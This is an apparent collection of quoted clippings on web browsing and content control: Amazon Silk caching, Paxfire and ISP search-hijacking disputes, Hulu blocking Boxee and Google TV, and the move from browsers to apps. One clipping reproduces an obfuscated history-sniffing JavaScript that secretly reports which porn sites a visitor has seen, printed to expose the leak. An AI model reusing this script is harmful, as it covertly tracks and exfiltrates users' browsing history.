One smart thing Silk does to speed up web browsing as seen by the user of the Kindle Fire by “pre-loading” content into Amazon’s “cache” in its own “Amazon computer cloud” (i.e. Amazon’s servers)–and to optimize them for the Kindle Fire (e.g., a 3MB image is scaled down maybe to 50k because that would look the same on the Kindle Fire as a 3MB image, but could be transmitted more quickly). But to do this Amazon’s servers have to store copies of files obtained from other websites, including images (as explicitly stated at 3:07 to 3:26) and other files which, of course, are covered by copyright. At 3:54, it’s explained that if Amazon’s computing cloud sees you looking at the New York Times home page, and it predicts, based on other user statistics, that you are somewhat likely to next click on some NY Times subpage link, then the Amazon servers will go ahead and download that next link, and cache it, in case you do click on it next, so that it can serve it up more quickly. Now this makes sense technically, but what it really means is Amazon’s servers are making copies of other people’s copyright-protected content: images, files, NYTimes web pages, and serving them up to Kindle Fire users as if the Amazon computer cloud servers are the host of those images. It is a bit like if Amazon ran a site called NYTimes2.com, and had its servers constantly copying content from NYtimes.com and duplicating it on NYTimes2.com, and serving up the content on NYTimes2.com (which was copied from NYTimes.com) to browsers.

all the ISPs involved have now called a halt to the practice. They continue to intercept some queries – those from Bing and Yahoo – but are passing the searches on to the relevant search engine rather than redirecting them.

This lawsuit is without merit, and harmful to our business and that of our partners. Let me respond to the two major accusations in the lawsuit.

"First, the lawsuit alleges that Paxfire collects, analyzes and sells user information. This is completely false and has absolutely no basis in fact.

"Paxfire does not and has never distributed or sold any information on users, either individually or collectively. Paxfire does not analyze end user searches, does not hold any history or database of user browsing or search, and does not profile users in any way. Moreover, Paxfire has no plans to change this policy. To repeat: We never, ever collect, monitor, store or sell personal data on users, collectively or as individuals, and we never have.

"Second, Paxfire does not hijack searches or 'impersonate search engines.'

"This would be fundamentally contrary to our service mission, which is to improve the user experience by helping users arrive at their intended website after having mistyped a web address. We are all about helping customers navigate the web, and not about searches. We partner closely with our ISP customers to ensure the service is operated not only in full accordance with the law and end user agreements, but also in a way that provides a good user experience. For example, when we have to guess the intended destination from a bad address, our results page includes an explanation of how they landed there and provides an option to opt-out of the service.

"Finally, we want to make clear that while it is without merit, this lawsuit and its allegations are extremely harmful to our reputation and those of our partners. Under Rule 11 of the Federal Rules of Civil Procedure, a party has an obligation to ensure a foundation for his or her allegations. Clearly, this was not done adequately by the plaintiff in this case. Accordingly, Paxfire intends to seek the full sanctions available to it under the law, to vindicate the organization and to make it whole from the damages caused by this lawsuit.

How does it work? It's based on your browser changing the color of links you've already clicked on. A script on the site exploits a Web privacy leak to quickly check and see whether your browser reveals that the links to a host of other porn sites have been assigned the color "purple," meaning you've clicked them before.

The script on YouPorn’s site that checks a user’s history (which you can see for yourself by going to the site and checking out its html with “View Source”) looks like this:

<script type="text/javascript">
function ypol(){var k={0:"qpsoivc/dpn",1:"sfeuvcf/dpn",
2:"bevmugsjfoegjoefs/dpn",3:"ywjefpt/dpn",4:"uvcf9/dpn",
5:"yoyy/dpn",6:"nfhbqpso/dpn",7:"nfhbspujd/dpn",
8:"yibntufs/dpn",9:"bxfnqjsf/dpn",10:"sfbmjuzljoht/dpn",
11:"csb{{fst/dpn",12:"yuvcf/dpn",13:"cbohcspt2/dpn",
14:"gmjoh/dpn",15:"gsffpoft/dpn",16:"nzgsffqbztjuf/dpn",
17:"efcpobjscmph/dpn",18:"qbztfswf/dpn",19:"nbyqpso/dpn",
20:"wjefpt{/dpn",21:"bfco/ofu",22:"qpsopsbnb/dpn"};
var g=[];for(var m in k){var d=k[m];
var a="";for(var f=0;f<d.length;f++)
{a+=String.fromCharCode(d.charCodeAt(f)-1)}var h=false;
for(var j in {"http://":"","http://www.":""})
{var l=document.createElement("a");
l.href=j+a;document.getElementById("ol").appendChild(l);
var e="";if(navigator.appName.indexOf("Microsoft")!=-1){e=l.currentStyle.color}
else{e=document.defaultView.getComputedStyle(l,null).getPropertyValue("color")}
if(e=="rgb(12, 34, 56)"||e=="rgb(12,34,56)"){h=true}}if(h){g.push(m)}}
var b=(g instanceof Array)?g.join(","):"";var c=document.createElement("img");
c.src="http://ol.youporn.com/blank.gif?id="+b;document.getElementById("ol").appendChild(c)}ypol();
</script>

That list of gibberish contains the sites that YouPorn is checking to see if you’ve visited, but disguises them with a bit o’ simple cryptography. Dial back each letter by one, so “qpsoivc/dpn”, for example, becomes “pornhub.com.”

What is at stake is the financial relationships between broadcast networks and tv providers and broadcast networks and their affiliates.

Broadcast nets are now getting BILLIONS of dollars from TV providers. Money they didnt get just 3 years ago. For some, just 2 years ago.

So in the last 24 months they take billions from tv providers (directv,comcast, etc) and you think its smart to give those customers of their the finger and offer the same product online ?

thats moronic

Hey Hulu -- you kind of suck. I'm not trying to access you from Google TV. I'm trying to access you using a web browser, which just happens to run through Google TV. Explain to me again why if I hook my computer up to my TV, and navigate to Hulu to watch the shows you offer for free, that's OK. But if I use my Google TV computer, that same free content is verboten -- and the only way for me to get to it is if in the future, you decide to make the free content available through your not-so-free $10 per month Hulu Plus service that's not even available beyond special invites on your own site.

Here's a thought. Enough of blocking Google TV and apparently other services like Boxee. Either block EVERYONE on the web or block no one, because in the end, you turn people who love you when they reach you on their computers (like me) into people who hate you when they're blocked in other places (like me).

Executives in Microsoft's new ad business were upset when the designers of Internet Explorer hatched the plan to block tracking activity, say people involved in the debate. At a meeting in the spring of 2008, Brian McAndrews, a Microsoft senior vice president who had been chief executive of aQuantive before Microsoft acquired it, complained to the browser planners. Their privacy plan, he argued, would disrupt the selling of Web ads by Microsoft and other companies, these people say.

With the long tail of Brand's dictum chopped off, the phrase Information wants to be free--dissected, debated, reconstituted as a global democratic rallying cry against monsters of the political, business, and media elites--became perhaps the most powerful meme of the past quarter century; so powerful, in fact, that multibillion-dollar corporations destroyed their own businesses at its altar.

It's a bit of a Schrodinger's-cat situation when you try to determine what would have happened if we had not bought into the IWTBF mantra, but by the time digital culture exploded into the mainstream with the introduction first of the Mosaic browser and then of Netscape Navigator and Internet Explorer, in the mid-'90s, free was already an idea only the very old or very obtuse dared to contradict.

At the WELL, the core gospel of an open Web was upheld with such rigor that when one of its more prolific members, Time magazine's Philip Elmer-DeWitt, published a scare-the-old-folks cover story on cyber porn in 1995, which carried the implication that some measure of online censorship might not be a bad thing, he and his apostasy were torn to pieces by his fellow WELL-ites with breathtaking relentlessness.... In retrospect, what seems notable is the fervor with which digital correctness--the idea that the unencumbered flow of everything, including porn, must be defended--was being enforced. In the WELL's hierarchy of values, pure freedom was an immutable principle, even if the underlying truth (that porn of all kinds was and would be increasingly ubiquitous on the Web, with actual real-life consequences) was ugly and incontestable.

Ironically, only the "old" entertainment and media industries, it seems, took open and free literally, striving to prove that they were fit for the digital era's freewheeling information/entertainment bazaar by making their most expensively produced products available for free on the Internet. As a result, they undermined in little more than a decade a value proposition they had spent more than a century building up.

But now, it seems, things are changing all over again. The shift of the digital frontier from the Web, where the browser ruled supreme, to the smart phone, where the app and the pricing plan now hold sway, signals a radical shift from openness to a degree of closed-ness that would have been remarkable even before 1995. In the U.S., there are only three major cell-phone networks, a handful of smart-phone makers, and just one Apple, a company that has spent the entire Internet era fighting the idea of open (as anyone who has tried to move legally purchased digital downloads among devices can attest).

Apple, for once, is swimming with the tide. After 15 years of fruitless experimentation, media companies are realizing that an advertising-supported model is not the way to succeed on the Web and they are, at last, seeking to get consumers to pay for their content.

They are operating on the largely correct assumption that people will be more likely to pay for consumer-friendly apps via the iPad, and a multitude of competing devices due out this year, than they are to subscribe to the same old kludgy Web site they have been using freely for years. As a result, media companies will soon be pushing their best and most timely content through their apps instead of their Web sites.

On a more conceptual level, the move from the browser model to the app model (where content is more likely to be accessed via smartly curated "stores" like iTunes, Amazon, or Netflix) signals the first real taming of the Wild Digital West.

Apple's version of the West has nice white picket fences, clapboard houses, morals police, and lots of clean, well-organized places to spend money. (The Internet, it seems, is finally safe for Rupert Murdoch.) These shifts are seemingly subtle, but they may prove profound.

Google, which built its once monopolistic position by harnessing the chaos of Web search, has been forced to move aggressively to preserve its business model against this new competition: it has teamed up with the Apple-scorned Flash; is making conciliatory gestures to the content owners it once patronized; has reached a deal to purchase a mobile ad-sales platform; and is promoting its own vision of the future based on cloud computing. Phones using its open-source smart-phone operating system, Android, are outselling the iPhone. Even so, Google still needs for the Web, however it's accessed, to remain central--because without contextual search advertising, Google ceases to matter. Smart phones in general, and the iPad more pointedly, are not driven by search.

All of this suggests that the era of browser dominance is coming to a close.

If they don't end up licensing original content, networks such as Twitter and Facebook will become purely communication vehicles.

But when does Hulu get tired of playing this silly game? How do Hulu's own developers feel about working to ensure that their site stays broken for the "wrong" users? Do they not have one of the most degrading coding jobs in America? And to what end--so short-sighted suits can find new ways to annoy their customers?

"Today I noticed that this great feature of Firefox (combined with Google of course) has stopped working, and has instead been replaced with an add-laden (sic) search result from another website. I've confirmed that my keyword.URL setting is still pointed at Google, so this must be happening at the traffic level, I would imagine either by use of a web proxy or something to do with DNS lookup, which makes me wonder if this new 'feature' my ISP (Netvigator by PCCW in Hong Kong) has introduced is also affecting my privacy?"

Here in the States one ISP (Windstream Communications) was recently busted for taking this concept one step further, going so far as to actually hijack Firefox Google search toolbar results. Windstream quickly backed away from the practice once users started to complain, insisting it was a mistake. However, the ISP wouldn't offer technical specifics about what technology they were using that created this "bug," and employees were told not to elaborate. To be clear, in Windstream's case this went well beyond DNS redirection, worked no matter what DNS servers were being used, and involved manipulating actual traffic streams using a new flavor of deep packet inspection. Whether this new layer 7/DPI is being used for copyright enforcement, surveillance, data mining or search result hijacks isn't clear -- but whatever it's being used for, it's being implemented with absolutely no transparency to the end user.

It seems unlikely that any U.S. ISP would take things further by hijacking toolbar results, given ISPs are busily trying to argue to regulators that network neutrality rules aren't necessary. Still, as deep packet inspection technology gets more sophisticated, precisely how ISPs are meddling with your traffic is something to keep a close eye on. ISPs already have a bad habit of offering value added services that fail to provide any value to consumers, and DNS redirection ads are only the latest example. ISPs were in such a hurry to grab this additional revenue, they failed to bother to make sure opt-out mechanisms for these "services" even worked, much less consider adding any kind of enhanced DNS functionality (as seen by companies like OpenDNS) that would make these services worth something to the end user. While DPI itself isn't bad, it holds a lot of potential for abuse among ISPs eager to make an extra buck at any cost.

"Were there not other competitors who were just as interested in making Web browsers faster, I don't know if we'd be able to find the gains that we can find," he said. "Now it's a game of one-upping each other."

Our content providers requested that we turn off access to our content via the Boxee product, and we are respecting their wishes....

The maddening part of writing this blog entry is that we realize that there is no immediate win here for users. Please know that we take very seriously our role of representing users such that we are able to provide more and more content in more and more ways over time. We embrace this activity in ways that respect content owners' -- and even the entire industry's -- challenges to create great content that users love. Yes, it's a complex matter. A tough mission, and a never-ending one, but one we are passionately committed to.

For those Boxee users reading this post, we understand and appreciate that you're likely to tell us that we're nuts. Please know that we do share the same interests and won't stop innovating in support of the bigger mission.

Rep. Rick Boucher (D-VA): What about Boxee? Mr. Zucker you probably are in a better position to answer that. Did Hulu block the Boxee users from access to the Hulu programs?

Zucker (NBC): This was a decision made by the Hulu management to, uh, what Boxee was doing was illegally taking the content that was on Hulu without any business deal. And, you know, all, all the, we have several distributors, actually many distributors of the Hulu content that we have legal distribution deals with so we don't preclude distribution deals. What we preclude are those who illegally take that content.